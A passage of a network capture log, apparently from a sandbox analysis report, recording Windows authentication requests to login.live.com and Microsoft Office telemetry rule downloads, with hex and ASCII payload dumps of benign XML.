2024-11-25 06:53:14 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 06:52:14 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_BAY x-ms-request-id: 83b74e80-4c8d-4949-bc4d-cb2aa1190959 PPServer: PPV: 30 H: PH1PEPF00018C05 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 06:53:13 GMT Connection: close Content-Length: 11177
2024-11-25 06:53:14 UTC	11177	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49713	20.190.147.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:13 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4831 Host: login.live.com
2024-11-25 06:53:13 UTC	4831	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 06:53:14 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 06:52:14 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_BL2 x-ms-request-id: 0d2131d5-a74d-4d92-b7ba-47cbec70ad1a PPServer: PPV: 30 H: BL02EPF0001DA2E V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 06:53:13 GMT Connection: close Content-Length: 11177
2024-11-25 06:53:14 UTC	11177	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49714	20.190.147.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:13 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4831 Host: login.live.com
2024-11-25 06:53:13 UTC	4831	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 06:53:14 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 06:52:14 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_SN1 x-ms-request-id: d7686f40-8a47-451d-ae56-ad038fc3c349 PPServer: PPV: 30 H: SN1PEPF00040189 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 06:53:13 GMT Connection: close Content-Length: 11177
2024-11-25 06:53:14 UTC	11177	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49721	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:16 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:17 UTC	471	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:17 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 23 Nov 2024 12:15:37 GMT ETag: "0x8DD0BB889D4282C" x-ms-request-id: c3062018-b01e-003e-79df-3d8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065317Z-178bfbc474b9xljthC1NYCtw9400000006xg00000000cvrk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:17 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-25 06:53:17 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-25 06:53:17 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-25 06:53:17 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-25 06:53:17 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-25 06:53:17 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-25 06:53:17 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-25 06:53:17 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-25 06:53:17 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-25 06:53:18 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49726	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:20 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:20 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:20 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: cbab64bb-001e-000b-3f4c-3c15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065320Z-15b8b599d8885prmhC1TEBsnkw00000005m000000000h29n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:20 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49724	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:20 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
